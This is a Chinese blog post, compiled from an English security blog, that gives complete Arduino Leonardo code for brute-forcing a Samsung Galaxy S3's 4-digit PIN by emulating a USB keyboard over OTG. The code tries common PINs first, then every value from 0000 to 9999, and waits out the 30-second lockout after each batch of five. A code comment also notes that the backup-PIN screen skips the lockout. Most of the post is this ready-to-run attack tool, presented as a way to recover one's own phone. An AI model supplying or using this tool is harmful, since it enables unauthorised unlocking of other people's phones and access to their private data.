[关闭]
@plantpark 2014-08-14T13:54:04.000000Z 字数 3517 阅读 4809

通过arduino暴力破解Android手机

未分类

使用过安卓手机的小伙伴们肯定会有些惨痛经历，经常会忘记手机解锁图形和PIN码，但如果通过Root等方式破解手机恐怕再也无法得到官方保修，这里就介绍一种方法安全的破解它！

三星Galaxy S3手机在输错5次PIN码后，会要求等待30s然后重新输入，幸运的是，每次输错都会要求等待30s，这等待时间并不会更改，这就给了hack的机会。

因为Arduino Leonardo可以作为HID设备模拟键盘通过USB OTG连接到手机，在这里我就选用了Leonardo，文章末尾有详细的代码。为了减少破解时间，可以把自己常用的密码或者数字组合优先测试。

当然，三星Galaxy S3手机的PIN码只有四位，如果从0000一直尝试到9999大概只需要16个小时，如果你的手机碰巧是小米手机，PIN码又碰巧设了17位，那你就果断Root吧~~

  2. /*
  3. Brute forcing Android 4 Digit PIN's
  4. To run the whole range it will take upwards of 16 hours because of
  5. the 30 second delay after 5 bad inputs
  6. Intrestingly, if the target phone has the pattern enabled
  7. and the backup PIN set, the backup PIN entry system doesn't force the 30 second delay after
  8. invalid attempts
  9. http://blog.infosecsee.com */
  11. const int buttonPin = 2;          // input pin for pushbutton
  12. int previousButtonState = HIGH;   // for checking the state of a pushButton
  13. int counter = 0;                  // button push counter
  14. int check = 0;
  16. void setup() {
  18.   pinMode(buttonPin, INPUT);
  20.   Keyboard.begin();
  21. }
  23. void loop() {
  25.   int buttonState = digitalRead(buttonPin);
  26.   if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
  27.     Mouse.move(25, 50, 0);
  28.     String three = "000";
  29.     String two = "00";
  30.     String one = "0";
  32.     while(counter < 10000){
  33.       delay(1000);
  34.       while (check < 1){
  35.                 Keyboard.println("1234");
  36.                 delay(500);
  37.                 Keyboard.println("1111");
  38.                 delay(500);
  39.                 Keyboard.println("0000");
  40.                 delay(500);
  41.                 Keyboard.println("1212");
  42.                 delay(500);
  43.                 Keyboard.println("7777");
  44.                 Keyboard.println("");
  45.                 Keyboard.println("");
  46.                 delay(30000);
  47.                 Mouse.move(25, 50, 0);
  48.                 Keyboard.println("1004");
  49.                 delay(500);
  50.                 Keyboard.println("2000");
  51.                 delay(500);
  52.                 Keyboard.println("4444");
  53.                 delay(500);
  54.                 Keyboard.println("2222");
  55.                 delay(500);
  56.                 Keyboard.println("6969");
  57.                 Keyboard.println("");
  58.                 Keyboard.println("");
  59.                 delay(30000);
  60.                 Mouse.move(25, 50, 0);
  61.                 Mouse.move(25, 50, 0);
  62.                 Keyboard.println("9999");
  63.                 delay(500);
  64.                 Keyboard.println("3333");
  65.                 delay(500);
  66.                 Keyboard.println("5555");
  67.                 delay(500);
  68.                 Keyboard.println("6666");
  69.                 delay(500);
  70.                 Keyboard.println("1122");
  71.                 Keyboard.println("");
  72.                 Keyboard.println("");
  73.                 delay(30000);
  74.                 Mouse.move(25, 50, 0);
  75.                 Keyboard.println("1313");
  76.                 delay(500);
  77.                 Keyboard.println("8888");
  78.                 delay(500);
  79.                 Keyboard.println("4321");
  80.                 delay(500);
  81.                 Keyboard.println("2001");
  82.                 delay(500);
  83.                 Keyboard.println("1010");
  84.                 delay(500);
  85.                 Keyboard.println("");
  86.                 Keyboard.println("");
  87.                 delay(30000);
  88.                 Mouse.move(25, 50, 0);
  89.                 check++;}
  90.       if (counter < 10 && check == 1) {
  92.                 Keyboard.println(three + counter);
  93.                 delay(500);
  94.                 counter++;
  95.                 Keyboard.println(three + counter);
  96.                 delay(500);
  97.                 counter++;
  98.                 Keyboard.println(three + counter);
  99.                 delay(500);
  100.                 counter++;
  101.                 Keyboard.println(three + counter);
  102.                 delay(500);
  103.                 counter++;
  104.                 Keyboard.println(three + counter);
  105.                 delay(500);
  106.                 Keyboard.println("");
  107.                 Keyboard.println("");
  108.                 delay(30000);
  109.                 Mouse.move(25, 50, 0);
  110.                 }
  111.       else if (counter < 100){
  112.                 Keyboard.println(two + counter);
  113.                 delay(500);
  114.                 counter++;
  115.                 Keyboard.println(two + counter);
  116.                 delay(500);
  117.                 counter++;
  118.                 Keyboard.println(two + counter);
  119.                 delay(500);
  120.                 counter++;
  121.                 Keyboard.println(two + counter);
  122.                 delay(500);
  123.                 counter++;
  124.                 Keyboard.println(two + counter);
  125.                 delay(500);
  126.                 Keyboard.println("");
  127.                 Keyboard.println("");
  128.                 delay(30000);
  129.                 Mouse.move(25, 50, 0);
  130.                 }
  131.       else if (counter < 1000){
  132.                 Keyboard.println(one + counter);
  133.                 delay(500);
  134.                 counter++;
  135.                 Keyboard.println(one + counter);
  136.                 delay(500);
  137.                 counter++;
  138.                 Keyboard.println(one + counter);
  139.                 delay(500);
  140.                 counter++;
  141.                 Keyboard.println(one + counter);
  142.                 delay(500);
  143.                 counter++;
  144.                 Keyboard.println(one + counter);
  145.                 delay(500);
  146.                 Keyboard.println("");
  147.                 Keyboard.println("");
  148.                 delay(30000);
  149.                 Mouse.move(25, 50, 0);
  150.                 }
  151.       else {
  152.                 Keyboard.println(counter);
  153.                 delay(500);
  154.                 counter++;
  155.                 Keyboard.println(counter);
  156.                 delay(500);
  157.                 counter++;
  158.                 Keyboard.println(counter);
  159.                 delay(500);
  160.                 counter++;
  161.                 Keyboard.println(counter);
  162.                 delay(500);
  163.                 counter++;
  164.                 Keyboard.println(counter);
  165.                 delay(500);
  166.                 Keyboard.println("");
  167.                 Keyboard.println("");
  168.                 delay(30000);
  169.                 Mouse.move(25, 50, 0);
  170.                 }  
  171.     }      
  172.     }
  173.   previousButtonState = buttonState;
  174. }

编译自 http://blog.infosecsee.com

添加新批注
在作者公开此批注前，只有你和作者可见。
回复批注